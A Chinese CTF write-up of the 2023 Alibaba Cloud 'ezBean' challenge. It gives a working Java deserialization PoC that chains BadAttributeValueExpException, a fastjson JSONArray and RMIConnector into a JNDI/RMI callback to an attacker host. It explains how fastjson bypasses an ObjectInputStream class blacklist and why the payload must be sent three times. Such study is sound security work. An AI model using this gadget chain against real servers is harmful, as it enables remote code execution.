[2023阿里云CTF]ezBean复现及相关fastjson机制深入分析
tip:环境为JDK1.8
本篇文章会讲到:
1.[2023阿里云CTF]ezBean的题目解答
2.fastjson的getter机制深入分析
3.如何利用fastjson与objectInputStream的差异化来绕过黑名单检测机制
ezbean
下载源码,看控制器,只有一个路由/read,接受BASE64编码过的序列化流进行反序列化
@RestController
public class IndexController {
@RequestMapping("/read")
public String read(@RequestParam String data) {
try {
byte[] bytes = Base64.getDecoder().decode(data);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
MyObjectInputStream objectInputStream = new MyObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
return "error";
}
return "success";
}
}
JAVA反序列化题,先看依赖库,发现有1.2.60版本的fastjson
但是不能直接把payload打进去,因为在反序列化的时候resolveClass方法会检测黑名单
所以还是根据题目环境制定策略
去看MyBean类,发现有getConnect方法,还有JMXConnector成员,并且getConnect方法中会调用JMX的connect方法
去看这个JMX的源码,发现是一个接口,并且是由RMIConnector实现
这里说一下JMX和RMI的关系:
JMX 是 Java 的一种技术和标准,它用于监控和管理 Java 应用程序、对象、设备和服务。JMX 的主要部分是 MBean (Managed Bean),它是一种特殊的 JavaBean,包含了一些用于远程管理的接口。
RMI 是 Java 的一种技术,允许在 JVM 之间进行远程方法调用。这意味着在一个 JVM 中运行的对象可以调用另一个 JVM 中运行的对象的方法,就像它们在同一个 JVM 中一样。
JMX 和 RMI 的关系体现在,JMX 使用 RMI 作为其默认的远程传输协议,可以在网络上的不同 JVM 之间进行通信。
JMXConnector 是一个接口,它定义了客户端如何连接到 JMX 服务的方法。这些方法中包括 connect()
RMIConnector 是 JMXConnector的一个实现,它使用 RMI 协议来进行网络通信。这意味着,当你使用
RMIConnector
创建一个连接时,你实际上是在使用 RMI 协议连接到 JMX 服务。
所以这里我们的思路就出来了,想办法使得服务端反序列化我们的payload之后,能够调用RMI远程连接到我们的vps上进行利用
达到这个目标需要两个条件:
1.目标服务端调用getConnect
2.控制JMX对象使其rmi连接到我们的vps的恶意rmi
为了达到这两个目标,最终POC如下(此POC源自:杭师大网安的WP)
import com.alibaba.fastjson.JSONArray;
import com.ctf.ezser.bean.MyBean;
import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URLEncoder;
import java.util.Base64;
public class demo {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
JMXServiceURL url =new JMXServiceURL("service:jmx:rmi:///jndi/rmi://192.168.40.128:1099/nrf8qi");
JMXConnector rmi = new RMIConnector(url,null);
MyBean myBean = new MyBean("123","123",rmi);
JSONArray jsonArray =new JSONArray();
jsonArray.add(myBean);
BadAttributeValueExpException val =new BadAttributeValueExpException(null);
Field field = val.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(val,jsonArray);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream =new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(val);
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8"));
}
}
分析一下POC:
首先构造JMXConnector对象,实现类为RMIConnector,构造函数需要一个JMXServiceURL,这里我们提前开一个恶意RMI服务
我们需要构造MyBean,但面临两个安全限制
1.fastjson默认禁用autotype,也就是说不能反序列化带有类型@type的信息,也就是对象
2.resolveClass禁用了java.rmi包,无法直接反序列化MyBean(这里对mybean的正则匹配的是com.ctf…(后面任意数量的点,所以mybean不受影响))
对于第一点:因为之前没接触过fastjson,所以autotype机制没有了解过,于是各种调试跟踪,发现个很奇怪的点,就是autotype默认应该是关闭的,但在Parser.class中,决定autotype是否开启的autoTypeSupport却在逻辑运算后为true,那么这个默认关闭的autotype又有什么意义呢?(有师傅懂得话希望得到解答-)
//相关代码如下,师傅们可自行探究 //Parser.class boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;//这里autoTypeSupport在执行时会设置为true if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) { boolean cacheClass = autoTypeSupport || jsonType; clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, cacheClass); }
对于第二点绕过,就是把黑名单类往json里扔,原理可以用一张报错的堆栈图说明
题目设置的黑名单只针对ObjectInputStream,而我们把RMIconnetor类扔到fastjson后,fastjson会接过这个反序列化的任务,而题目并没有针对fastjson的反序列化进行黑名单检测,所以成功绕过
然后是
BadAttributeValueExpException val =new BadAttributeValueExpException(null);
Field field = val.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(val,jsonArray);
这段是一个java反序列化攻击常用的一个类,因为这个类在反序列化时会自动调用一个名为val的私有成员的toString方法
这里把val设置成存储了构造好的MyBean对象的JSONArray对象,所以当反序列化时会自动调压JSONArray的toString方法
跟进JSONArray源码,其父类JSON有toString方法,调用toJSONString
public String toJSONString() {
SerializeWriter out = new SerializeWriter();
String var2;
try {
(new JSONSerializer(out)).write(this);
var2 = out.toString();
} finally {
out.close();
}
return var2;
}
(new JSONSerializer(out)).write(this)
会根据对象的类型返回合适的序列化器,之后会使用这个序列化器将JSON里的存储的对象序列化为JSON字符串,这里我们打断点调试,可以看出,fastjson为我们选择的是ListSerializer(因为需要序列化的是JSONArray,是List类型)
跟进ListSerializer的write方法,
其中这一块
try {
int i;
Object item;
.......
finally {
serializer.context = context;
}
serializer.getObjectWriter是根据JSONArray的每一个元素选择不同的序列化器
慢慢调试,可以看到这里给我们选择的是ASMSerializer序列化器,并且已经获取到了MyBean对象的所有getter,这里是一个非常关键的地方,就是序列化器会获取对象所有的以getXxxxx这种格式的方法,即使它不是一个真正的getter,但只要符合这种命名规范的方法都会被序列化器认为是getter
我们可以在MyBean里加一个方法来试验一下
public Object getConnect(){
System.out.println("getConnect!!");
return null;
}
然后调试,可以看到即使不存在一个connect变量,但依然被认定这个方法是一个名为connect成员的getter
接着用ASM序列化器对MyBean进行序列化,但由于ASM序列化器是运行时动态生成的,所以我们无法看到源码,但是这个ASM序列化器是由ASMSerializerFactory
类中的方法动态生成的,具体可以参考ASMSerializerFactory
的源码。这个工厂类中的
createJavaBeanSerializer()方法使用了ASM库来动态生成JavaBeanSerializer
也就是说,ASM序列化器是用ASM字节码技术动态生成的一系列序列化器,本质是在JavaBeanSerializer的基础上进行了改进,所以核心功能和JavaBeanSerializer其实差不多,为了解释清楚基本原理,我们就跟进JavaBeanSerializer,并且对于一般java对象,默认使用的是JavaBeanSerializer
JavaBeanSerializer
在序列化Java对象时,会遍历并调用对象的getter方法。这个过程主要在JavaBeanSerializer
的构造函数以及getFieldValuesMap
方法中实现。
跟进JavaBeanSerializer,分析一下
首先,依次通过三个构造函数来构建一个beanInfo,最后一个构造函数对beanInfo进行处理
public JavaBeanSerializer(Class<?> beanType) {
this(beanType, (Map)null);
}
public JavaBeanSerializer(Class<?> beanType, String... aliasList) {
this(beanType, createAliasMap(aliasList));
}
public JavaBeanSerializer(Class<?> beanType, Map<String, String> aliasMap) {
this(TypeUtils.buildBeanInfo(beanType, aliasMap, (PropertyNamingStrategy)null));
}
public JavaBeanSerializer(SerializeBeanInfo beanInfo) {
this.beanInfo = beanInfo;
this.sortedGetters = new FieldSerializer[beanInfo.sortedFields.length];
..........
..........
beanInfo是SerializeBeanInfo类型的对象,它保存了有关Java Bean(在这里为MyBean)的所有信息,包括类的结构、属性、getter和setter方法等。这些信息在创建
JavaBeanSerializer
时被收集并保存在beanInfo
对象中,以便在后续的序列化过程中使用。
this.sortedGetters = new FieldSerializer[beanInfo.sortedFields.length];
这个代码创建了一一系列FieldSerializer对象,每个对象代表一个bean字段,
跟进FieldSerializer
getPropertyValueDirect方法会对每一个字段调用对应的getter
public Object getPropertyValueDirect(Object object) throws InvocationTargetException, IllegalAccessException {
Object fieldValue = this.fieldInfo.get(object);
return this.persistenceXToMany && !TypeUtils.isHibernateInitialized(fieldValue) ? null : fieldValue;
}
this.fieldInfo.get方法调用了getter
继续跟进FieldInfo类,
最终在这里通过反射调用了对应字段的getter方法,也就实现了触发getConnect(),至此两个目标都达成了,
分析完后,最终发送生成的payload(要发送三次),这里我本地演示弹出calc
最终执行过程:
objectInputStream.readObject()->BadAttributeValueExpException.readObject()->JSON.toString()->toJSONString()->new JSONSerializer(out)).write(this)->ListSerializer.write->itemSerializer.write(serializer, item, i, elementType, features)->ASMSerilizer遍历每个成员并调用getter->getConnect()->RMIconnector->连接恶意rmi服务->执行恶意代码
思考:
思考:
举一反三:
虽然MyBean类并没有被过滤,但由于我们需要调用其getConnect方法,需要借助JSON的getter机制,所以还是将mybean扔进json中,但对于RMIConnector,为了绕过黑名单,还是需要扔进JSON,这就是题目给出fastjson的目的吧
为什么要发送三次?
这篇文章写了2天,其中花了一天时间都在研究这个问题…
通过不断的调试,本人算是大概摸到了一点门道,但不一定完全正确
fastjson为了提高反序列化效率,在进行反序列化的时候会有一张map,这张map存储的是基本java类,充当一个缓存作用(这也说明了为什么基本数据类型都可以直接反序列化,因为这map中都存了这些类)
//ParserConfig.class
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);//获取map中存储的java类,如果不存在,则返回null
}
//TypeUtils.class
public static Class<?> getClassFromMapping(String className) {
return (Class)mappings.get(className);
}
因此,当fastjson准备反序列化一个对象的时候,会先判断这个类是否在map表中,如果是,则直接反序列化;
否则,将这个类加入到map表,然后判断这个类是否存在无参构造函数,这是因为fastjson在反序列化当中构建一个对象时,会先获取其默认(无参)构造函数来构建一个对象,然后再使用setter来进行字段填充,而RMIConnector和JMXServiceURL都没有无参构造函数,所以会发生报错
//ParserConfig.class
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz == null) {
clazz = (Class)this.typeMapping.get(typeName);
}
if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
if (paramNames == null || types.length != paramNames.length) {
throw new JSONException("default constructor not found. " + clazz);
}
但是为什么在第三次发送时就成功了呢?
这是因为,fastjson是先将类存到map中,然后再执行无参构造的判断,所以我们这三次的效果分别就是:
1.将RMIConnector存入map,这样下次直接就可以反序列化而不必再进行无参构造的判断
2.将JMXService存入map,目的同上
3.所有用到的类均已存入map,执行反序列化成功